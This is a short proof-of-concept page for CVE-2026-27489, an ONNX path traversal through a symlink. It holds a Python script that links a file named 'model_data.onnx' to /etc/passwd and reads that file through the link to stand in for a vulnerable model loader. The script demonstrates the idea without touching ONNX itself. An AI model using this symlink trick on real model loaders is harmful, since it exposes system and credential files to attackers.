CVE-2026-27489 ONNX路径遍历漏洞

import os import sys # PoC for CVE-2026-27489: ONNX Path Traversal via Symlink # This script demonstrates the concept of creating a symlink to a sensitive file # that an attacker might trick a vulnerable ONNX loader into reading. def create_malicious_symlink(): target_file = "/etc/passwd" # Target file to read malicious_link = "model_data.onnx" # Name of the symlink print(f"[*] Creating symlink '{malicious_link}' pointing to '{target_file}'...") try: os.symlink(target_file, malicious_link) print("[+] Symlink created successfully.") # Simulate the vulnerable behavior: reading the file via the symlink if os.path.exists(malicious_link): with open(malicious_link, 'r') as f: content = f.read() print("[+] Content read via symlink (Vulnerable behavior):") print(content[:100] + "...") except Exception as e: print(f"[-] Error: {e}") finally: # Cleanup if os.path.islink(malicious_link): os.remove(malicious_link) print("[*] Symlink removed.") if __name__ == "__main__": create_malicious_symlink()